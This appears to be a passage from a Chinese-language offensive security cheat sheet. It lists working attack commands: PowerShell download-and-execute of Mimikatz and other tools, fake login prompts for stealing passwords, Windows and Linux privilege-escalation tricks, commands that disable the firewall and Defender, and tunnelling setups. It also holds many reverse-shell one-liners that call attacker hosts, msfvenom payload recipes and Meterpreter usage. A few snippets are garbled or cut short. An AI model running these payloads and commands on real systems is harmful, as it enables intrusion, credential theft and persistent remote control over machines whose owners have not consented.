>DotNetToJScript.exe -u -o 3.sct ExampleAssembly.dll生成sct
StarFighters
https://github.com/Cn33liz/StarFighters 可以执行powershell代码,详见
执行单条命令
$code = 'start calc.exe'
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded
复制为var EncodedPayload的值
远程执行mimikatz
powershell IEX "(New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/powersploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'log privilege::debug sekurlsa::logonpasswords'"
以上保存在code.txt
$code = Get-Content -Path code.txt
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded | Out-File 2.txt

image

生成的2.txt文件内容替换为var EncodedPayload的值再执行

image image

绕过AMSI执行
>copy c:\windows\system32\cscript.exe amsi.dll
>amsi.dll evil.js

WMIC

Empire建立监听,生成windows/launcher_xsl模块的xsl文件保存在web目录
>wmic process get brief /format:http://192.168.0.107:8080/launcher.xsl
也可结合mshta使用
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("mshta http://192.168.0.107:8080/RgNeCv.hta");
	]]> </ms:script>
</stylesheet>

Msxsl

下载
https://www.microsoft.com/en-us/download/details.aspx?id=21714
远程执行shellcode
https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker/blob/master/shellcode.xml
>msxls.exe http://192.168.0.107/shellcode.xml http://192.168.0.107/shellcode.xml
Empire生成shellcode贴到脚本中EncodedPayload位置

image

CPL

Kali监听

image

编译成DLL

image

Control执行
>control C:\Users\Administrator.DC\Desktop\VC6.0green\MyProjects\dll\Debug\dll.dll

image

或将DLL后缀改为cpl,双击执行,或rundll32执行
>rundll32.exe shell32.dll,Control_RunDLL C:\Users\Administrator.DC\Desktop\VC6.0green\MyProjects\dll\Debug\dll.dll

Runas

#use exploit/windows/local/ask

令牌窃取

MSF

Meterpreter>use incognito
Meterpreter>list_tokens -u
Meterpreter>impersonate_token name\\administrator
&
Meterpreter>ps
Meterpreter>steal_token pid

Cobalt strike

beacon> steal_token 1234 窃取令牌
beacon> rev2self 恢复令牌
Windows
https://gitee.com/RichChigga/incognito2

密码窃取

伪造锁屏

https://github.com/Pickfordmatt/SharpLocker/releases

image

https://github.com/bitsadmin/fakelogonscreen/releases

image

记录的密码保存在
%LOCALAPPDATA%\Microsoft\user.db

image

伪造认证框

CredsLeaker
https://github.com/Dviros/CredsLeaker
将cl_reader.php,config.php,config.cl上传到web服务器
修改CredsLeaker.ps1、run.bat中URL参数

image

输入正确密码后会自动结束,否则除非结束powershell进程才可结束
获取到正确密码后会在目录下生成creds.txt保存密码信息

image

LoginPrompt
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/Invoke-LoginPrompt.ps1');invoke-LoginPrompt"

image

除非结束进程,否则只能输对密码才能关闭对话框。
收到正确密码会返回结果

image

Nishang-Invoke-CredentialsPhish
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.108/ps/nishang/Gather/Invoke-CredentialsPhish.ps1'); Invoke-CredentialsPhish"

image image

RottenPotato

https://github.com/foxglovesec/RottenPotato Meterpreter>use incognito
Meterpreter>list_tokens -u
Meterpreter>upload /root/Desktop/rottenpotato.exe
Meterpreter>execute -HC -f rottenpotato.exe
Meterpreter>impersonate_token "NT AUTHORITY\\SYSTEM"

PowerUp

检测有漏洞的服务
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1');Invoke-AllChecks"

image

>icacls C:\Windows\system32\\wlbsctrl.dll 查看文件权限,F为完全控制,M修改

image

在AbuseFunction中会显示利用语句。
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1'); Write-HijackDll -OutputFile 'C:\Windows\system32\\wlbsctrl.dll' -Command 'net user admin pass@Qwe1 /add&net localgroup administrators admin /add'"

image

重启电脑后会新增用户admin

image

查找可能劫持的进程
>Find-ProcessDLLHijack
查找环境变量中当前用户可修改的目录
>Find-PathDLLHijack
查找存在注册表中自动登录用户的平局
>Get-RegistryAutoLogon
查询trusted_service_path
>Get-ServiceUnquoted
查询当前用户可修改的注册表开机启动项
>Get-ModifiableRegistryAutoRun
查询当前用户可修改的计划任务项
>Get-ModifiableScheduledTaskFile
查询系统中所有web.config文件中的明文密码
>Get-WebConfig

Powerup-AlwaysInstallElevated

>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1');Get-RegAlwaysInstallElevated"

image

>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1'); Write-UserAddMSI"
普通用户执行安装

image image

AlwaysInstallElevated提权

>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
为1 检测是否永远以高权限启动安装
#HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
新建DWORD32 DisableMSI=0
#msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o /root/add.msi
#upload /root/add.msi c:\\1.msi
>msiexec /quiet /qn /i c:\1.msi
MSF
#use exploit/windows/local/always_install_elevated
#set session 1

Trusted Service Paths

>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ 列出没有用引	号包含的服务
#use exploit/windows/local/trusted_service_path
#set session 1

Vulnerable Services

#use exploit/windows/local/service_permissions
#set session 1

Sudo提权

/home/user/.sudo_as_admin_successful
>sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
>sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
>sudo strace –o /dev/null /bin/bash
>sudo nmap –interactive nmap>!sh
>echo "os.execute('/bin.sh')">/tmp/1.nse
>sudo nmap –script=/tmp/shell.nse 
>sudo more/less/man /etc/rsyslog.conf
>sudo git help status 
>!/bin/bash
>sudo ftp
>!/bin/bash
>sudo vim -c '!sh'
>sudo find /bin/ -name ls -exec /bin/bash ;
>sudo awk 'BEGIN {system("/bin/sh")}'

Linux计划任务

>for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done 列举所有用户的crontab
$cat /etc/crontab
$echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
$echo "" > "--checkpoint-action=exec=sh test.sh"
$echo "" > --checkpoint=1
或编辑可写的计划任务文件
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.107","5555"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Linux SUID提权

查找有root权限的SUID文件
$find / -perm -u=s -type f 2>/dev/null
$find / -user root -perm -4000 -print 2>/dev/null
$find / -user root -perm -4000 -exec ls -ldb {} \;

Find

$touch xxx
$/usr/bin/find xxx –exec whoami \;
$/usr/bin/find xxx –exec python -c 'import 	socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  \;
&
>find xxx -exec netcat -lvp 12138 -e /bin/sh \; 然后攻击机主动连接

NMAP

# 进入nmap的交互模式
>nmap --interactive 
>!sh

VIM

>vim.tiny /etc/shadow
&
>vim.tiny
# 按ESC
:set shell=/bin/sh
:shell

BASH

>bash –p

####More/Less/Man >less /etc/passwd !/bin/sh >more /etc/passwd !/bin/bash >man passwd !/bin/bash

CP/MV

覆盖shadow文件

Linux /etc/passwd提权

$ls –lh /etc/passwd 若是任何用户可读写
$perl -le 'print crypt("password@123","addedsalt")' 生成密码
$echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
一条命令添加root用户
#useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root  -G root -s /bin/bash -d /home/user venus
用户名venus 密码123qwe
#useradd newuser;echo "newuser:password"|chpasswd
>echo "admin:x:0:0::/:/bin/sh" >> /etc/passwd
>passwd admin修改密码

Linux脏牛提权

https://github.com/FireFart/dirtycow
$gcc -pthread dirty.c -o dirty –lcrypt
$./dirty passwd 
生成账户密码
https://github.com/gbonacini/CVE-2016-5195
$make
$./dcow -s

RDP&Fireawall

爆破

Hydra爆破RDP
>hydra -l admin -P /root/Desktop/passwords -S 192.168.0.0 rdp
&
Nlbrute

image

注册表开启

查询系统是否允许3389远程连接:
>REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
1表示关闭,0表示开启
查看远程连接的端口:
>REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
本机开启3389远程连接的方法
通过cmd
>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
>REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
通过reg文件
内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d
导入注册表:
regedit /s a.reg

NETSH启动服务

>netsh firewall set service remoteadmin enable 
>netsh firewall set service remotedesktop enable
>netsh firewall set opmode disable 关闭防火墙

注入点开启

.asp?id=100;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
注:
修改连接端口重启后生效

MSF开启

#run post/windows/manage/enable_rdp

Wmic开启

>wmic /node:192.168.1.2 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

防火墙

允许进站
如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:
>netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
>netsh firewall set portopening TCP 3389 ENABLE
防火墙关闭
>netsh firewall set opmode mode=disable
>netsh advfirewall show allprofiles查看状态
>netsh advfirewall set allprofiles state off 
>sc stop windefend
>sc delete windefend
PS> Set-MpPreference -DisableRealtimeMonitoring 1
PS> Set-MpPreference -Disablearchivescanning $true

多用户登录

Mimikatz设置允许多用户登录
>privilege::debug
>ts::multirdp
rdpwrap
https://github.com/stascorp/rdpwrap
>RDPWInst.exe -i is

RDP连接记录

https://github.com/3gstudent/List-RDP-Connections-History
查看本机用户连接RDP的记录

image

>Psloggedon.exe username

image

删除痕迹

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

端口映射&转发

MSF

使用条件:服务器通外网,拥有自己的公网ip
>portfwd add -l 5555 -p 3389 -r 172.16.86.153
转发目标主机的3389远程桌面服务端口到本地的5555
>portfwd list

lcx.exe

使用条件:服务器通外网,拥有自己的公网ip
靶机:lcx.exe -slave 外网IP 9999 127.0.0.1 3389
linux攻击机:./portmap -m 2 -p1 9999 -p2 33889
windows攻击机:lcx -listen 9999 33889 把本机9999监听的信息转到33889
PortTran
https://github.com/k8gege/K8tools/raw/master/PortTran.rar
攻击机执行
>PortTranS20.exe 12345 389

image

靶机执行
>PortTranC20.exe 127.0.0.1 3389 192.168.0.102 12345
建立连接后,攻击机连接本机389端口即可

image

SSH

-C 压缩传输,加快传输速度
-f 在后台对用户名密码进行认证
-N 仅仅只用来转发,不用再弹回一个新的shell -n 后台运行
-q 安静模式,不要显示任何debug信息
-l 指定ssh登录名
-g 允许远程主机连接到本地用于转发的端口
-L 进行本地端口转发
-R 进行远程端口转发
-D 动态转发,即socks代理
-T 禁止分配伪终端
-p 指定远程ssh服务端口

正向转发

外网靶机110
内网靶机115
本地攻击机编辑后restart ssh服务
#vim /etc/ssh/sshd_conf
AllowTcpForwarding yes 允许TCP转发
GatewayPorts yes   允许远程主机连接本地转发的端口
TCPKeepAlive yes    TCP会话保持存活
PasswordAuthentication yes  密码认证
>ssh -C -f -N -g -L 33890:192.168.0.115:3389 root@192.168.0.110 -p 22
本地攻击机执行,本地33890转发到远程的3389端口
上线MSF
攻击机出网Linux靶机--不出网Linux靶机--不出网win机
>msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=不出网Linux机 lport=12138 -f exe -o /var/www/html/1.exe
攻击机监听端口12345
不出网Linux机
>ssh -C -f -N -g -L 0.0.0.0:12138:攻击机:12345 root@出网Linux主机 -p 22

反向转发

外网攻击107
内网靶机97
出网靶机编辑后restart ssh服务
#vim /etc/ssh/sshd_conf
AllowTcpForwarding yes 允许TCP转发
GatewayPorts yes   允许远程主机连接本地转发的端口
TCPKeepAlive yes    TCP会话保持存活
PasswordAuthentication yes  密码认证
>ssh -C -f -N -g -R 33890:10.1.1.97:3389 root@192.168.0.107 -p 22
出网靶机执行,把外部攻击机33890转发到内部隔离网络的3389
>netstat –tnlp

image

转发成功,外网攻击机安装apt install rinetd(正向tcp转发工具)
>vim /etc/rinetd.conf
添加0.0.0.0 3389 127.0.0.1 33890
>service rinetd start

image

看到107是kali攻击机,连接107:33890即可到达内网10.1.1.97的桌面

image

Invoke-SocksProxy

https://gitee.com/RichChigga/Invoke-SocksProxy
>Import-Module .\Invoke-SocksProxy.psm1 
>Invoke-SocksProxy -bindPort 12138 建立socks代理,使用代理软件连接

image image

SSF

单层网络正向转发

https://github.com/securesocketfunneling/ssf/releases
内网机执行:
>ssfd.exe -p 1080

image

边界机器执行
>ssf.exe -L 12138:10.1.1.108:22 -p 1080 192.168.0.98 
把内网10.1.1.108的SSH转发出来

image

边界机器访问内网端口

image

单层网络反向转发

边界机器执行:
>ssfd.exe -p 1080

image

内网机器执行:
>ssf.exe -R 12138:10.1.1.108:22 -p 1080 192.168.0.106

image image

Netsh

边界机器执行:
>netsh interface portproxy add v4tov4 listenaddress=192.168.0.98 listenport=2222 connectaddress=10.1.1.108 connectport=22
将内网10.1.1.108主机22端口转发至本机2222端口,攻击机连接边界机器2222端口即可访问内网SSH

image

>netsh interface portproxy add v4tov4 listenaddress=192.168.0.98 listenport=13389 connectaddress=192.168.0.98 connectport=3389
当靶机某服务只允许内网访问时,将端口转发出来

image

添加防火墙规则:
>netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localip=192.168.0.98 localport=13389 action=allow
列出所有转发规则:
>netsh interface portproxy show all

image

删除指定的端口转发规则:
>netsh interface portproxy delete v4tov4 listenport=13389 listenaddress=192.168.0.98
删除所有转发规则:
>netsh interface portproxy reset

Iptables

需开启ip转发功能
>vim /etc/sysctl.conf设置net.ipv4.ip_forward=1

image image

本地端口22转发到2222上
>iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-ports 22
内网98机器3389转到本机110的6789上
>iptables -t nat -A PREROUTING -d 192.168.0.110 -p tcp --dport 6789 -j DNAT --to-destination 192.168.0.98:3389
>iptables -t nat -A POSTROUTING -d 192.168.0.98 -p tcp --dport 3389 -j SNAT --to 192.168.0.110

image

查看规则
>iptables -t nat -L
删除规则
>iptables -t nat -D PREROUTING 1
删除全部规则
>iptables -t nat –F

chisel

https://github.com/jpillora/chisel
攻击机执行
>chisel server -p 12138 –reverse

image

靶机执行
>chisel client 公网攻击机IP:12138 R:1234:127.0.0.1:3389

image

建立成功后,攻击机连接本机1234端口即可访问靶机3389

image

命令&控制

Interactive shell

>python -c 'import pty;pty.spawn("/bin/bash")'
>expect -c 'spawn bash;interact'

Script reverse shell

bash

>/bin/bash -i > /dev/tcp/attackerip/4444 0<&1 2>&1

image

>bash -i >& /dev/tcp/attackerip/4444 0>&1

image

>0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

image

>msfvenom -p cmd/unix/reverse_bash LHOST=attackerip LPORT=4444 -o shell.sh

image

nc

>nc -e /bin/sh attackerip 4444
>nc -Lp 31337 -vv -e cmd.exe
&
>mknod backpipe p; nc 192.168.0.107 12138 0<backpipe | /bin/bash 1>backpipe
>nc 192.168.0.10 31337

telnet

>mknod backpipe p; telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

php

#php -r '$sock=fsockopen("IP",port);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.107/1234 0>&1'");?>

python

>python -c ' import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); '
>msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
>import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('IP',端口)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)

perl

>perl -e 'use Socket;$i=" attackerip ";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
>perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
>perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'  #####windows

ruby

>ruby -rsocket -e'f=TCPSocket.open("attackerip ",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
>ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'   #####windows

OpenSSL encrypt shell

生成证书
>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

image

Linux

监听
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1337

image

靶机执行
>mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.108:1337 > /tmp/s; rm /tmp/s

image

此方式使用TLS1.2 协议对通信进行加密

Windows

攻击机需监听2个端口,一个端口发送命令,一个端口接收回显
发送
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
接收
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1338
靶机执行
>openssl s_client -quiet -connect 192.168.0.108:1337|cmd.exe|openssl s_client -quiet -connect 192.168.0.108:1338

image image image

Dnscat2

安装dnscat2
>apt-get -y install ruby-dev git make g++
>gem install bundler
>git clone https://github.com/iagox86/dnscat2.git
>cd dnscat2/server
>bundle install
执行
>ruby dnscat2.rb abc.com -e open --no-cache

image

Powercat

靶机执行
>powercat -c 192.168.0.108 -v -dns abc.com -e cmd.exe

image

dnscat2执行
>session -i 1进入会话

image

Dnscat2 exe

Linux
https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-x86.tar.bz2 https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-x64.tar.bz2
https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip
攻击机执行
>ruby dnscat2.rb --dns "domain=zone.com,host=192.168.0.108" --no-cache
靶机执行
>dnscat2-v0.07-client-win32.exe --dns server=192.168.0.108

image

攻击机执行
>session -i [ID]进入会话

image image

DNS TXT Command

https://github.com/samratashok/nishang/Utility/Out-DnsTxt.ps1
https://github.com/samratashok/nishang/Backdoors/DNS_TXT_Pwnage.ps1
新建一个psh文件,使用out-dnstxt转换,这里的命令是net user

image image

y0stUSgtTi3i5QIA
添加一条域名txt记录,这里在本地设置,正常是在域名商的网站里配置

image

还需创建两个txt记录,分别是指定开始和结束的字符串

image image

靶机执行
>Import-Module .\DNS_TXT_Pwnage.ps1
>DNS_TXT_Pwnage -startdomain start.zone.com -cmdstring cmd -commanddomain 1.zone.com -psstring start -psdomain zone.com -Subdomains 1 -StopString stop

image

Powershell

MSF+Powershell

反弹MSF
靶机
PS >IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.100/powersploit/CodeExecution/Invoke-Shellcode.ps1') 
PS >Invoke-Shellcode -payload windows/meterpreter/reverse_http -lhost 192.168.0.100 -lport 6666 -force
攻击机:
>use exploit/multi/handler
>set payload windows/x64/meterpreter/reverse_ https
>run
或
>msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.100 LPORT=4444 -f powershell -o /var/www/html/ps
>IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.100/powersploit/CodeExecution/Invoke-Shellcode.ps1")
>IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.100/ps")
>Invoke-Shellcode -Shellcode ($buf)
或
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f psh-reflection >/var/www/html/a.ps1
>powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.101/a.ps1')"

Powercat

>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
正向连接
靶机:powercat -l -p 8080 -e cmd.exe –v
攻击机:nc 192.168.0.1 8080 –vv
反向连接:
攻击机:nc –l –p 8080 –vv
靶机:powercat –c 192.168.0.1 –p 8080 –v –e cmd.exe
远程执行
>powershell -nop -w hidden -ep bypass "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.107/ps/powercat/powercat.ps1'); powercat -c 192.168.0.107 -p 12345 -v -e cmd.exe"
正向连接
靶机:powercat -l -p 8080 -e cmd.exe -v
攻击机:nc 192.168.0.1 8080 -vv
反向连接:
攻击机:nc -l -p 8080 -vv
靶机:powercat -c 192.168.0.1 -p 8080 -v -e cmd.exe

image

Nishang

Bind shell
靶机:
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Bind -Port 12138"
攻击机:
>nc 靶机IP 12138
反向shell
攻击机:
>nc -vnlp 9999
靶机:
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 攻击机IP -port 9999"
UDP反向shell
攻击机:
>nc -lvup 12138
靶机:
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 攻击机IP -port 12138"
HTTPS
攻击机:
>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PoshRatHttps.ps1'); Invoke-PoshRatHttps -IPAddress 192.168.0.98 -Port 8080 -SSLPort 443"  IP地址是本机IP

image

靶机:
>powershell -w hidden -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.98:8080/connect')

image

ICMP
攻击机IP:108
靶机IP:100
https://github.com/inquisb/icmpsh
靶机执行
>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.108/ps/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp 192.168.0.108

image

攻击机执行,开启相应ICMP ECHO请求
>sysctl -w net.ipv4.icmp_echo_ignore_all=1
>./icmpsh_m.py 192.168.0.108 192.168.0.100

image

Base64

>Powershell "$string="net user";[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($string))"

Metasploit

常规使用

#systemctl start postgresql.service 启动数据库服务
#msfdb init 初始化数据库
#msfconsole进入MSF框架
#search  ms17-010 查找攻击模块
#use exploit/windows/smb/ms17_010_eternalblue 使用模块 
#set payload windows/x64/meterpreter/reverse_tcp 设置载荷
#info 查看信息
#show options查看需要设置的参数
#set RHOST 192.168.125.138设置参数
#exploit 执行攻击模块
#back 回退

技巧使用

#handler -H 192.168.0.10 -P 3333 -p windows/x64/meterpreter/reverse_tcp快速监听
#setg 设置全局参数
#set autorunscript migrate –f 自动迁移进程
#set autorunscript migrate -n explorer.exe
#set AutoRunScript post/windows/manage/migrate
#set prependmigrate true 自动注入进程
#set prependmigrateProc svchost.exe
#set exitonsession false获取到session后继续监听,获得多个session
#set stagerverifysslcert false 防止出现ssl错误
#set SessionCommunicationTimeout 0 防止session超时退出
#set SessionExpirationTimeout 0 防止强制关闭session
#exploit -j -z  后台持续监听
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -e x86/shikata_ga_nai -b "x00" -i 5 -a x86 --platform windows PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o  1.exe 执行后注入到已存在的一个进程
>set EnableStageEncoding true
>set stageencoder x86/fnstenv_mov 编码进行免杀
>set stageencodingfallback false

模块

Auxiliary
#show auxiliary 查看所有模块
Payload
#show payloads 查看所有攻击载荷
Payload是目标被攻击时执行的实际功能代码
生成载荷
#use exploit/multi/script/web_delivery
>set target 2
>msfvenom --list payloads 列出所有payload
>msfvenom --list encoders 列出所有编码器
Windows
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe -o /root/1.exe
#msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o 1.exe
#msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f psh-reflection >xxx.ps1
#msfvenom -a x64 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
>msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.0.1 LPORT=11111  -f exe> /root/1.exe  生成NC正向连接
>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe> 1.exe 生成NC反向连接
Linux
#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e -f elf -a x86 --platform linux -o shell
#msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.1 LPORT=11111 -f raw > shell.sh
MacOS
#msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f macho > shell.macho
Web
#msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.php
#msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f war > shell.war
#msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f aspx -o payload.aspx
#msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.jsp
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f asp > shell.asp
Android
#msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f apk -o payload.apk
#msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 -f raw > shell.apk
#msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 R > test.apk
shellcode
#msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.1 LPORT=11111 -f c –o /root/1.c
#msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.1 LPORT=11111 -o shell.py
#msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.py
#msfvenom -p cmd/unix/reverse_perl LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.pl
#msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.rb
#msfvenom -p cmd/unix/reverse_lua LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.lua
msf设置监听
#use exploit/multi/handler
#set payloadwindows/meterpreter/reverse_http 指定相应的payload
#set LHOST 192.168.0.1
#set LPORT 11111
#exploit -j 后台监听
或在exploit模块中直接使用set payload 命令指定payload

Meterpreter

交互
当攻击成功后会返回会话,使用session -l命令列出当前获取到的会话
#session -l
使用
#sessions -i id 来进入一个会话进行交互
#background 将当前会话放置后台
#sessions -x检查心跳
#sessions -u [ID] cmdshell升级meterpreter shell
提权
提权详见提权模块
命令
#shell 进入目标cmdshell
